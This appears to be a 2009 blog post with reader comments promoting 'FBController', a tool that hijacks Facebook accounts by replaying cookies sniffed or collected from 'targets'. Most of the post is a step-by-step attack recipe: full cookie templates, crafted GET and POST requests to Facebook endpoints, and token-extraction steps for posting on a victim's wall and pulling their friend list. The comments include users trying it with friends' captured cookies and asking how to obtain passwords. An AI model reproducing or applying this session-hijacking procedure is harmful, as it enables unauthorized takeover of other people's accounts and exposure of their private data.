Skip navigation.

Moving Towards Normality

Actions and Attempts towards Blue Sleep

FBConTroller [ FACEBOOK CONTROLLER ] - The Ultimate Facebook Controller (without the Password)

, , ,

Let me clear that this utility WON'T hack/crack Facebook accounts !
The utility will need biscuits/cookies instead of the password.

Login to your Facebook account and sniff your cookie OR collect a few live Facebook Biscuit/s of your Target/s.

1 ] Generate a OG 10 Digit Unix Timestamp. If possible not way back older than FaceBook.COM's current SYSTIME.


2 ] Send a GET Request to www.facebook.com port 80 after calculating the required variables (below)
GET /home.php? HTTP/1.1
Cookie: datr=(10-DIGIT-CURRENT-UNIX-TIMESTAMP)-(53-HEX-STRING-PROVIDED-BY-FACEBOOK-CHANGES-AFTER-A-FEW-MINUTES); ABT=(36-HEX-STRING-PROVIDED-BY-FACEBOOK-CHANGES-AFTER-A-FEW-MINUTES)%3AA; test_cookie=1; login=+; s_cc=true; s_vsn_facebookpoc_1=(13-DIGITS-PROVIDED-BY-FACEBOOK-CHANGES-AFTER-A-FEW-MINUTES); s_sq=%5B%5BB%5D%5D; cvr_tx=(OG-TIME-STAMP+63-TOTAL-SHOULD-BE-10-DIGIT-NEWTIMESTAMP)859; login_x=a%3A2%3A%7Bs%3A5%3A%22email%22%3Bs%3A13%3A%22youremailid%40yourprovider.com%22%3Bs%3A19%3A%22remember_me_default%22%3Bb%3A0%3B%7D; xs=(32-HEX-STRING-CHANGES-AFTER-A-FEW-MINUTES); c_user=(10-DIGIt-FOREVER-FIXED-FACEBOOKID); made_write_conn=(OG-TIME-STAMP+64-10-DIGIT-NEW-STAMP); cur_max_lag=3; h_user=(12-HEX-STRING-FOREVER-FIXED-FOR-YOUR-ID); locale=en_US


3 ] From the Response Obtained :
Gain the variable nctr[nid]. For now keep nctr[id] same as nctr[nid].

Calculating the new nctr[ct] :
Add +79 to Original Timestamp. Append 3 more digits to its end.

Calculating &oldest= :
Deduct 144556 from Original Timestamp.

Calculating composer_id :
Search for
UIComposer_STATE_PIC_OUTSIDE\" id=\"
This will be your composer_id at the later stage in the Status Update Page / Other Post Request

Calculating post_form_id
Search for
post_form_id:"
This will be your post_form_id at the later stage in the Status Update Page / Other Post Request

Calculating fb_dtsg
Right after post_form_id (explained just above this section) you can locate fb_dtsg.
Else Search for
,fb_dtsg:"
This will be your fb_dtsg at the later stage in the Status Update Page / Other Post Request

Your login_x actually looks like
a:2:{s:5:"email";s:13:"you@youremailprovider.com";s:19:"remember_me_default";b:0;}
But keep it unchanged in the hex format.


4 ] Send a GET Request like below with the above calculated variables :
GET /ajax/intent.php?hidden_count=5&oldest=(10-DIGIT-NEWLY-CALCULATED)&delay_load_count=15&request_type=none&nctr[id]=(32-HEX-STRING-OBTAINED-FROM-home.php-)&nctr[nid]=(32-HEX-STRING-OBTAINED-FROM-home.php-)&nctr[ct]=(NEWLY-CALCULATED-10-DIGIT-TIMESTAMP)750 HTTP/1.1
Accept: */*
Accept-Language: en-US
XXXXXXX: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
x-svn-rev: 161013
UA-CPU: x86
XXXXXXXXXXXXXXX: XXXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: www.facebook.com
Connection: Keep-Alive
Cookie: datr=(10-DIGIT-CURRENt-UNIX-TIMESTAMP)-(53-HEX-STRING-PROVIDED-BY-FACEBOOK-CHANGES-AFTER-A-FEW-MINUTES); ABT=(36-HEX-STRING-PROVIDED-BY-FACEBOOK-CHANGES-AFTER-A-FEW-MINUTES)%3AA; test_cookie=1; login=+; s_cc=true; s_vsn_facebookpoc_1=(13-DIGITS-PROVIDED-BY-FACEBOOK-CHANGES-AFTER-A-FEW-MINUTES); s_sq=%5B%5BB%5D%5D; login_x=a%3A2%3A%7Bs%3A5%3A%22email%22%3Bs%3A13%3A%22youremailid%40yourprovider.com%22%3Bs%3A19%3A%22remember_me_default%22%3Bb%3A0%3B%7D; xs=(32-HEX-STRING-CHANGES-AFTER-A-FEW-MINUTES); c_user=(10-DIGIt-FOREVER-FIXED-FACEBOOKID); made_write_conn=(OG-TIME-STAMP+64-10-DIGIT-NEW-STAMP); cur_max_lag=3; h_user=(12-HEX-STRING-FOREVER-FIXED-FOR-YOUR-ID); locale=en_US; x-referer=http%3A%2F%2Fwww.facebook.com%2Fhome.php


5 ] In the output :
Search for Env[\"nctrlid\"]=\"
This is the NEW TRUE nctr[id]= for the Status Update POST Request :-)


6 ] Generate a new POST Request with the above calculated new variables :
POST /updatestatus.php HTTP/1.1
Accept: */*
Accept-Language: en-US
XXXXXXX: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
x-svn-rev: 161013
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
XXXXXXXXXXXXXXX: XXXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: www.facebook.com
Content-Length: 343
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: datr=(10-DIGIT-CURRENt-UNIX-TIMESTAMP)-(53-HEX-STRING-PROVIDED-BY-FACEBOOK-CHANGES-AFTER-A-FEW-MINUTES); ABT=(36-HEX-STRING-PROVIDED-BY-FACEBOOK-CHANGES-AFTER-A-FEW-MINUTES)%3AA; test_cookie=1; login=+; s_cc=true; s_vsn_facebookpoc_1=(13-DIGITS-PROVIDED-BY-FACEBOOK-CHANGES-AFTER-A-FEW-MINUTES); s_sq=%5B%5BB%5D%5D; login_x=a%3A2%3A%7Bs%3A5%3A%22email%22%3Bs%3A13%3A%22youremailid%40yourprovider.com%22%3Bs%3A19%3A%22remember_me_default%22%3Bb%3A0%3B%7D; xs=(32-HEX-STRING-CHANGES-AFTER-A-FEW-MINUTES); c_user=(10-DIGIt-FOREVER-FIXED-FACEBOOKID); cur_max_lag=3; h_user=(12-HEX-STRING-FOREVER-FIXED-FOR-YOUR-ID); locale=en_US; x-referer=http%3A%2F%2Fwww.facebook.com%2Fhome.php

action=HOME_UPDATE&home_tab_id=1&profile_id=(YOUR-10-DIGIT-PROFILE-ID)&status=TYPE-THE-STATUS-HERE&target_id=0&&composer_id=(24-HEX-STRING-OBTAINED-FROM-home.php-RESPONSE))&post_form_id=(32-HEX-STRING-FROM-home.php-RESPONSE)&fb_dtsg=(27-HEX-STRING-)-FROM-home.php-RESPONSE&post_form_id_source=AsyncRequest&nctr[id]=(32-HEX-STRING-CALCULATED-AS-EXPLAINED-IN-POINT-5)&nctr[nid]=(32-HEX-STRING-OBTAINED-FROM-home.php-RESPONSE)&nctr[ct]=(10-DIGIT-CALCULATED-TIMESTAMP-AS-EXPLAINED-In-POINT-3)375



7 ] Use the above variables to view any content with the appropriate GET / requests


8 ] For POST-ing making changes, GOTO 2 ] and REDO :-)


Looks like loads of HardWork ha ?
If you don't want to do all this manually, then you can download this TooL named FBController (FACEBOOK CONTROLLER) written
by me. You can also call it FACEBOOKIE, FACEHOOKER (since it hooks in someone else's cookies) ,FACEBHOOT or FACEBHOOK

Till now FBController version 1.0 uses your Target's provided cookie and only :

A > Downloads the HomePage.
B > Allows you to Update the Target's Wall and
C > Retrieve your Target's Friend's List

More more features to come in version 2.0
A 26th April Release !
Research duration some 33 hours - Sunday Evening 26th April 2009 -to- 29th April 2009.

Happy Controlling ! :-)

Sharing your Biscuits UnintenionallyFacebook covertly promotes Daughtry's Song - "What About Us" ?

Comments

quakerdoomer 1. May 2009, 04:26

Inspite of making it clear in the beginning of the Emails in mailing list and on this Blog-Page itself that FBController DOES NOT HACK/CRACK FB Passwords and NEEDS to be provided the cookies, someone at Threatfire has decided to ignore this and compare FBController to a worm (http://blog.threatfire.com/2009/04/recipe-for-stealing-biscuits.html)
Threafire says that FBController "**STEALS**" Biscuits !
Also, Threatfire thinks malware distributors have now started distributing malwares via mailing lists. ROFL !

Its very disappointing to read such a careless irresponsible post from something like Threatfire !
I wouldn't be surprised if they develop a signature to thwart FBController from being transferred on the wire !


quakerdoomer 3. May 2009, 05:26

OKAY Very smart !!

Threatfire Blog (maybe after reading the above comment) quietly changed their statement
From:
"Another technique and tool has just been posted to steal biscuits, much like the Koobface worm, and it supports changing a wall without the password. The author claims to have just completed "FBController - The Ultimate Utility to Control Facebook accounts without the Password". "




To:
"Another technique and tool has just been posted to abuse stolen biscuits, much like the Koobface worm, and it supports changing a wall without the password." "


Good Boy

Anonymous 8. May 2009, 23:49

Anonymous writes:

I tried this with my own cookie info.
I also tried this with a friend's captured cookie data.
I always get a "Incorrect Cookie or Cookie Expired" error.

Below is the server's response.

HTTP/1.1 301 Moved Permanently
Date: Fri, 08 May 2009 23:44:22 GMT
Server: Apache/1.3.41.fb2
P3P: CP="HONK"
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Edge-control: cache-maxage=10m
Location: http://static.ak.facebook.com/login.php
X-Cnection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8

0

Any ideas??


quakerdoomer 9. May 2009, 15:41

Do you get it as soon as you provide the cookie parameters ?
Did you get the Message "Logged in as:" ?
Check if you were able to pull down any of the following :
The Target's Home(First)Page, IntentPage, Ajax Chat Page, Profile Page.
Check if these html files got created in the FBConTroller folder.

quakerdoomer 9. May 2009, 19:01

I see a new var in the cookie : "Akatest=A". Looks like a not-so-dynamic value. Need to check if absence of this var affects FBConTroller's performance. Hopefully not !

Anonymous 19. May 2009, 00:13

Yusuf writes:

im still confusing how to using this tools..when i open this tools there is comand prompt appear in desktop so i read all and there is message that told me to "press any key to continue" and i did what it said,but nothing happened and the command prompt dissapear with nothing change,im try again with open my FB acc and do the same right thing but nothing happened too...could u tell me how to using this tools.may step by step..im sorry thanks alot

Anonymous 25. May 2009, 16:10

Anonymous writes:

FBConTroller version 2.0

Anonymous 28. May 2009, 19:08

Anonymous writes:

can you provide a step by step guide to us that dont know html that well?

quakerdoomer 31. May 2009, 18:12

Are you asking me to teach you HTML ????

Anonymous 2. June 2009, 22:25

Bernhard writes:

I cant seem to find the XS var. ? Is it still there?

quakerdoomer 3. June 2009, 17:32

Bernhard : FB is crazy at times. There was a day when I couldn't find ABT. It came back the next day. Try and delete your Temp Files, old cookies. make sure your login email isn't appearing in the Username TextBox. Let me know.

P.S. Version 2 will eliminate the need to type/paste in individual variables.

Anonymous 29. June 2009, 13:59

thunderbolt writes:

can u tell me how to use that tool step by step?

because, i have tried but that didn't work

thanx doomer ^_^

Anonymous 5. July 2009, 20:42

Anonymous writes:

I am in the same position as the previous person. It would be highly appreciated if you can create a Step by step guide on how to use this Program. Thank You!

Anonymous 10. July 2009, 17:24

Anonimo writes:

Hi Azim,
I tried to understand but I have a problem: where can I find the "53-HEX-STRING-PROVIDED-BY-FACEBOOK-CHANGES-AFTER-A-FEW-MINUTES"?

Thanks a lot

Anonymous 16. July 2009, 04:13

Anónimo writes:

how do I use the FBcontroller program?

Anonymous 26. July 2009, 07:40

Blu3 D3v1L writes:

Great Job! I couldn't use it though because i couldn't find all the cookies required, xs, c_user and h_user. however, as far as I have read the power of FBController is very limited. I hope that you would release a more powerful version soon. one more thing, it would be great if you release a GUI version too. Because most people are not familiar with coding.

Anonymous 26. July 2009, 07:59

Blu3 D3v1L writes:

Is there anyway to actually do anything with this?
I entered using my cookies and some friends' as well but was unable to do anything with it. maybe, can you help with loggin in to facebook with those cookies?

Anonymous 3. August 2009, 16:44

rasta writes:

hello
if i got the cookie what i should do??where the function fbcontroller??
thnx

Anonymous 3. August 2009, 16:45

rasta writes:

hello
if i got the cookie what i should do??where the function fbcontroller??
thnx

Anonymous 25. October 2009, 16:33

Wanderer writes:

Hi there,
Is it possible to set cookie parameters manually in browser? If yes which parameters should I consider adding? I usually use Firefox add-ons to edit cookie and set it to what I want. I just don't know how should I do it with fb cookies.

Anonymous 17. November 2009, 09:12

valipour writes:

hello
i have a question
if i have an account username can i get the it's password
or how i can get it
thanks

Anonymous 25. November 2009, 20:37

Anonymous writes:

kacook banyak nian tegawe apo>..?????

How to use Quote function:

  1. Select some text
  2. Click on the Quote link

Write a comment

Comment
(BBcode and HTML is turned off for anonymous user comments.)

If you can't read the words, press the small reload icon.


Smilies

November 2009
M T W T F S S
October 2009December 2009
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30